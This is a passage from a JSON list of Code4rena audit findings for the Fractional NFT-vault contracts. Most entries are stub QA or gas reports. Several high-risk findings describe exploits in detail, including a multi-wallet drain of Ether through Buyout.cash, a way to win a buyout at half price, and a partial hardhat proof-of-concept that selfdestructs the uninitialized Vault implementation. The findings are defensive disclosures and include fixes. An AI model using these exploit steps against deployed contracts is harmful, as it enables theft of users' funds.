ETH eve.buyoutModule.cash(vault, burnProof); } ``` **Additionally** to the demonstrated PoC in the test case, an attacker could intentionally create vaults with many wallets and exploit the vulnerability: 1. Attacker deploys a vault with `10.000` fractions minted 2. 51% of fractions (`5.100`) are kept in the main wallet, all other fractions are distributed to 5 other self-controlled wallets (Wallets 1-5, `980` fractions each) 3. With the first wallet, the attacker starts a buyout with `10 ether` - fractions are transferred into the `Buyout` contract as well as `10 ether` 4. Attacker waits for `REJECTION_PERIOD` to elapse to call `Buyout.end` (51% of fractions are already held in the contract, therefore no need for voting) 5. After the successful buyout, the attacker uses the `Buyout.cash` function to cash out each wallet. Each subsequent cash-out will lead to receiving more Ether, thus stealing Ether from the `Buyout` contract: 1. Wallet 1 - `buyoutShare = (980 * 10 ) / (3920 + 980) = 2 ether` (`totalSupply = 3920` after burning `980` fractions from wallet 1) 2. Wallet 2 - `buyoutShare = (980 * 10 ) / (2940 + 980) = 2.5 ether` (`totalSupply = 2940` after burning `980` fractions from wallet 2) 3. Wallet 3 - `buyoutShare = (980 * 10 ) / (1960 + 980) = ~3.3 ether` (`totalSupply = 1960` after burning `980` fractions from wallet 3) 4. Wallet 4 - `buyoutShare = (980 * 10 ) / (980 + 980) = 5 ether` (`totalSupply = 980` after burning `980` fractions from wallet 4) 5. Wallet 5 - `buyoutShare = (980 * 10 ) / (0 + 980) = 10 ether` (`totalSupply = 0` after burning `980` fractions from wallet 5) If summed up, cashing out the 5 wallets, the attacker receives `22.8 ether` in total. Making a profit of `12.8 ether`. This can be repeated and executed with multiple buyouts and vaults at the same time as long as there is Ether left to steal in the `Buyout` contract. ## Tools Used Manual review ## Recommended mitigation steps Decrement `ethBalance` from buyout info `buyoutInfo[_vault].ethBalance -= buyoutShare;` in `Buyout.cash` (see `@audit-info` annotation): ```solidity function cash(address _vault, bytes32[] calldata _burnProof) external { // Reverts if address is not a registered vault (address token, uint256 id) = IVaultRegistry(registry).vaultToToken( _vault ); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not successful (, , State current, , uint256 ethBalance, ) = this.buyoutInfo(_vault); State required = State.SUCCESS; if (current != required) revert InvalidState(required, current); // Reverts if caller has a balance of zero fractional tokens uint256 tokenBalance = IERC1155(token).balanceOf(msg.sender, id); if (tokenBalance == 0) revert NoFractions(); // Initializes vault transaction bytes memory data = abi.encodeCall( ISupply.burn, (msg.sender, tokenBalance) ); // Executes burn of fractional tokens from caller IVault(payable(_vault)).execute(supply, data, _burnProof); // Transfers buyout share amount to caller based on total supply uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); uint256 buyoutShare = (tokenBalance * ethBalance) / (totalSupply + tokenBalance); buyoutInfo[_vault].ethBalance -= buyoutShare; // @audit-info decrement `ethBalance` by `buyoutShare` _sendEthOrWeth(msg.sender, buyoutShare); // Emits event for cashing out of buyout pool emit Cash(_vault, msg.sender, buyoutShare); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/439", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/436", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/432", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/431", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/430", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/422", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/419", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/417", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/415", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/392", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/391", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/388", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/387", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/380", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Migration's `leave` function allows leaving a committed proposal", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/379", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L141 # Vulnerability details The `leave` function allows to leave a proposal even if the proposal has been committed and failed. This makes it a (probably unintended) duplicate functionality of `withdrawContributions`, which is the function that should be used to withdraw failed contributions. ## Impact User assets might be lost: When withdrawing assets from a failed migration, users should get back a different amount of assets, according to the buyout auction result. (I detailed this in another issue - \"Migration::withdrawContribution falsely assumes that user should get exactly his original contribution back\"). But when withdrawing assets from a proposal that has not been committed, users should get back their original amount of assets, as that has not changed. Therefore, if `leave` does not check if the proposal has been committed, users could call `leave` instead of `withdrawContribution` and get back a different amounts of assets than they deserve, on the expense of other users. ## Proof of Concept The `leave` function [does not check](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L141) anywhere whether `proposal.isCommited == true`. Therefore, if a user calls it after a proposal has been committed and failed, it will continue to send him his original contribution back, instead of sending him the adjusted amount that has been returned from Buyout. ## Recommended Mitigation Steps Revert in `leave` if `proposal.isCommited == true`. You might be also able to merge the functionality of `leave` and `withdrawContribution`, but that depends on how you will implement the fix for `withdrawContribution`. "}, {"title": "No check ```address(0)``` on ```transferOwnership``` could render the vault unfunctioning ", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/376", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "No check ```address(0)``` on ```transferOwnership``` could render the vault unfunctioning "}, {"title": "Migration::withdrawContribution falsely assumes that user should get exactly his original contribution back", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/375", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L308 https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L321 https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L312 https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L325 # Vulnerability details When a user calls `withdrawContribution`, it will try to send him back his original contribution for the proposal. But if the proposal has been committed, and other users have interacted with the buyout, Migration will receive back a different amount of ETH and tokens. Therefore it shouldn't send the user back his original contribution, but should send whatever his share is of whatever was received back from Buyout. ## Impact Loss of funds for users. Some users might not be able to withdraw their contribution at all, and other users might withdraw funds that belong to other users. (This can also be done as a purposeful attack.) ## Proof of Concept A summary is described at the top. It's probably not needed, but the here's the flow in detail. When a user joins a proposal, Migration [saves](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L124:#L135) his contribution: ``` userProposalEth[_proposalId][msg.sender] += msg.value; userProposalFractions[_proposalId][msg.sender] += _amount; ``` Later when the user would want to withdraw his contribution from a failed migration, Migration would [refer](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L308:#L325) to these same variables to decide how much to send to the user: ``` uint256 userFractions = userProposalFractions[_proposalId][msg.sender]; IFERC1155(token).safeTransferFrom(address(this), msg.sender, id, userFractions, \"\"); uint256 userEth = userProposalEth[_proposalId][msg.sender]; payable(msg.sender).transfer(userEth); ``` But if the proposal was committed, and other users interacted with the buyout, then the amount of ETH and tokens that Buyout sends back is not the same contribution. For example, if another user called `buyFractions` for the buyout, it [will decrease](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L168) the amount of tokens in the pool: ``` IERC1155(token).safeTransferFrom(address(this), msg.sender, id, _amount, \"\"); ``` And when the proposal will end, if it has failed, Buyout will [send back](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L228) to Migration [the amount](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L206) of tokens in the pool: ``` uint256 tokenBalance = IERC1155(token).balanceOf(address(this), id); ... IERC1155(token).safeTransferFrom(address(this), proposer, id, tokenBalance, \"\"); ``` (**Same will happen for the ETH amount) Therefore, Migration will receive back less tokens than the original contribution was. When the user will try to call `withdrawContribution` to withdraw his contribution from the pool, Migration would [try to send](https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L310) the user's original contribution. But there's a deficit of that. If other users have contributed the same token, then it will transfer their tokens to the user. If not, then the withdrawal will simply revert for insufficient balance. ## Recommended Mitigation Steps I am not sure, but I think that the correct solution would be that upon a failed proposal's end, there should be a hook call from Buyout to the proposer - in our situation, Migration. Migration would then see(/receive as parameter) how much ETH/tokens were received, and update the proposal with the change needed. eg. send to each user 0.5 his tokens and 1.5 his ETH. In another issue I submitted, \"User can't withdraw assets from failed migration if another buyout is going on/succeeded\", I described for a different reason why such a callback to Migration might be needed. Please see there for more implementation suggestion. I think this issue shows that indeed it is needed. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/371", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/370", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/366", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/365", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Install function no check _plugins is address(0)", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/364", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "Install function no check _plugins is address(0)"}, {"title": "BaseVault does not necessarily have a Buyout mechanism", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/363", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "BaseVault does not necessarily have a Buyout mechanism"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/362", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/361", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/353", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/352", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/351", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/339", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "[Buyout module] Fraction price is not updated when total supply changes", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/337", "labels": ["bug", "2 (Med Risk)"], "target": "2022-07-fractional-findings", "body": "[Buyout module] Fraction price is not updated when total supply changes"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/331", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/330", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Migration: no check that user-supplied `proposalId` and `vault` match", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/326", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Migration: no check that user-supplied `proposalId` and `vault` match"}, {"title": "Unhandled return values of transfer for ERC20/WETH transfer", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/323", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Unhandled return values of transfer for ERC20/WETH transfer"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/321", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/314", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "No revert on transfer of ERC20 tokens can manipulate vaults on creation", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/312", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "No revert on transfer of ERC20 tokens can manipulate vaults on creation"}, {"title": "Division rounding can make fraction-price lower than intended (down to zero)", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/310", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Division rounding can make fraction-price lower than intended (down to zero)"}, {"title": "Proposer can `start` a perpetual buyout which can only `end` if the auction succeeds and is not rejected", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/306", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Proposer can `start` a perpetual buyout which can only `end` if the auction succeeds and is not rejected"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/303", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/299", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/297", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/290", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "[PNM-001] The time constraint of selling fractions can be bypassed by directly transferring fraction tokens to the buyout contract", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/283", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L206 # Vulnerability details ### Description The `end` function in the `Buyout` contract uses `IERC1155(token).balanceOf(address(this), id)` to determine the amount of deposited fraction tokens without distinguishing whether those fraction tokens are depositied by the `sellFractions` function or by direct transferring. Note that only the `sellFractions` function is constrained by `PROPOSAL_PERIOD`. This vulnerability lets a 51-holder gain the whole batch of NFTs without paying for the rest 49\\% fractions. Assume a vault X creates 100 fraction tokens and the market-decided price of a fraction token is 1 ether (i.e., the ideal value of the locked NFTs in vault X is 100 ether). Let's also assume that Alice holds 51 tokens (maybe by paying 51 ether on opensea). Followings are two scenarios, where the benign one follows the normal workflow and the malicious one exploits the vulnerability. ### Benign Scenario + Alice starts a buyout by depositing her 51 fraction tokens and 49 ether, making the `fractionPrice` 1 ether + Other users are satisfied with the provided price, and hence no one buys or sells their fraction tokens + The buyout succeeds: + Alice gets the locked NFTs + Other fraction holders can invoke `cash` to redeem their fraction tokens with a price of 1 ether + As a result, Alice paid 100 ether in total to get the locked NFTs. ### Malicious Scenario + Alice starts a buyout by depositing 0 fraction tokens and 1 wei, making the `fractionPrice` 0.01 wei. + Note that Alice can create a separated account whose balance for the fraction token is 0, to start the buyout + No one is satisfied with the price (0.01 wei v/s 1 ether) and hence they will try to buy fraction tokens to reject the buyout + Since there is not any fraction tokens locked in the `Buyout` contract from Alice, other users do not need to do anything + Alice invokes the `end` function + But before invoking the `end` function, __Alice directly invokes `IERC1155(token).safeTransferFrom` to send the rest 51 fraction token to the `Buyout` contract__ + The `end` function will treat the buyout successful, since the `IERC1155(token).balanceOf(address(this), id)` is bigger than 50\\% + The above two message calls happen in a single transaction, hence no one can front-run + As a result + __Alice only paid 51 ether to get the locked NFTs whose value is 100 ether__ + __Other fraction holders get nothing (but they had paid for the fraction token before)__ In short, a malicious users can buy any NFT by just paying half of the NFT's market price ### Suggested Fix For each buyout, add a new field to record the amount of fraction tokens deposited by `sellFractions`. And in the `end` function, use the newly-added field to determine whether the buyout can be processed or not. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/272", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "A VAULT OWNER CAN FRONTRUN A PLUGIN CALL AND CHANGE ITS IMPLEMENTATION", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/267", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-07-fractional-findings", "body": "A VAULT OWNER CAN FRONTRUN A PLUGIN CALL AND CHANGE ITS IMPLEMENTATION"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/261", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Migration.join() and Migration.leave() can still work after unsucessful migration.", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/250", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L105 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L141 # Vulnerability details ## Impact Migration.join() and Migration.leave() can still work after unsucessful migration. As I submitted with my high-risk finding \"Migration.withdrawContribution() might work unexpectedly after unsuccessful migration.\", withdraw logic after unsuccessful migration is different from the initial leave() logic and the withdrawal logic would be messy if users call join() and leave() after unsuccessful migration. ## Proof of Concept According to the [explanation](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L23), join() and leave() functions must be called for 7 days before commition. Currently, such a scenario is possible. - Alice creates a new migration and commits after some joins. - The migration ended unsuccessfully after 4 days. - Then users can call leave() or withdrawContribution() to withdraw their deposits but it wouldn't work properly because we should recalculate eth/fractional amounts with returned amounts after unsuccessful migration. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps We should add some restrictions to join() and leave() functions so that users can call these functions for 7 days before the migration is committed. We should add these conditions to [join()](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L118) and [leave()](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L150). ``` require(!migrationInfo[_vault][_proposalId].isCommited, \"committed already\"); require(block.timestamp <= proposal.startTime + PROPOSAL_PERIOD, \"proposal over\"); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/241", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/232", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Fund will be stuck if a buyout is started while there are pending migration proposals", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/230", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Fund will be stuck if a buyout is started while there are pending migration proposals"}, {"title": "`BaseVault.deployVault()` fails when `_modules.length` * `leaves.length > 6`", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "`BaseVault.deployVault()` fails when `_modules.length` * `leaves.length > 6`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Forced buyouts can be performed by malicious buyers", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/212", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L224-L238 # Vulnerability details ## Impact In the end function of the Buyout contract, when the buyout fails, ERC1155 tokens are sent to the proposer. A malicious proposer can start a buyout using a contract that cannot receive ERC1155 tokens, and if the buyout fails, the end function fails because it cannot send ERC1155 tokens to the proposer. This prevents a new buyout from being started. ## Proof of Concept https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L224-L238 ## Tools Used None ## Recommended Mitigation Steps Consider saving the status of the proposer after a failed buyout and implementing functions to allow the proposer to withdraw the ERC1155 tokens and eth "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "An attacker can DoS vault's buyout with as little as 1 wei per 4 days", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/204", "labels": ["bug", "2 (Med Risk)"], "target": "2022-07-fractional-findings", "body": "An attacker can DoS vault's buyout with as little as 1 wei per 4 days"}, {"title": "Vault implementation can be destroyed leading to loss of all assets", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/200", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultFactory.sol#L19-L22 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L11-L25 # Vulnerability details This is a basic uninitialized proxy bug, the `VaultFactory` creates a single implementation of `Vault` and then creates a proxy to that implementation every time a new vault needs to be deployed. The problem is that that implementation vault is not initialized , which means that anybody can initialize the contract to become the owner, and then destroy it by doing a delegate call (via the `execute` function) to a function with the `selfdestruct` opcode. Once the implementation is destroyed all of the vaults will be unusable. And since there's no logic in the proxies to update the implementation - that means this is permanent (i.e. there's no way to call any function on any vault anymore, they're simply dead). ## Impact This is a critical bug, since ALL assets held by ALL vaults will be lost. There's no way to transfer them out and there's no way to run any function on any vault. Also, there's no way to fix the current deployed contracts (modules and registry), since they all depend on the factory vault, and there's no way to update them to a different factory. That means Fractional would have to deploy a new set of contracts after fixing the bug (this is a relatively small issue though). ## Proof of Concept I created the PoC based on the `scripts/deploy.js` file, here's a stripped-down version of that: ```javascript const { ethers } = require(\"hardhat\"); const ZERO_ADDRESS = \"0x0000000000000000000000000000000000000000\"; async function main() { const [deployer, attacker] = await ethers.getSigners(); // Get all contract factories const BaseVault = await ethers.getContractFactory(\"BaseVault\"); const Supply = await ethers.getContractFactory(\"Supply\"); const VaultRegistry = await ethers.getContractFactory(\"VaultRegistry\"); // Deploy contracts const registry = await VaultRegistry.deploy(); await registry.deployed(); const supply = await Supply.deploy(registry.address); await supply.deployed(); // notice that the `factory` var in the original `deploy.js` file is a different factory than the registry's const registryVaultFactory = await ethers.getContractAt(\"VaultFactory\", await registry.factory()); const implVaultAddress = await registryVaultFactory.implementation(); const vaultImpl = await ethers.getContractAt(\"Vault\", implVaultAddress); const baseVault = await BaseVault.deploy(registry.address, supply.address); await baseVault.deployed(); // proxy vault - the vault that's used by the user let proxyVault = await deployVault(baseVault, registry, attacker); const destructorFactory = await ethers.getContractFactory(\"Destructor\"); const destructor = await destructorFactory.deploy(); let destructData = destructor.interface.encodeFunctionData(\"destruct\", [attacker.address]); const abi = new ethers.utils.AbiCoder(); const leafData = abi.encode([\"address\", \"address\", \"bytes4\"], [attacker.address, destructor.address, 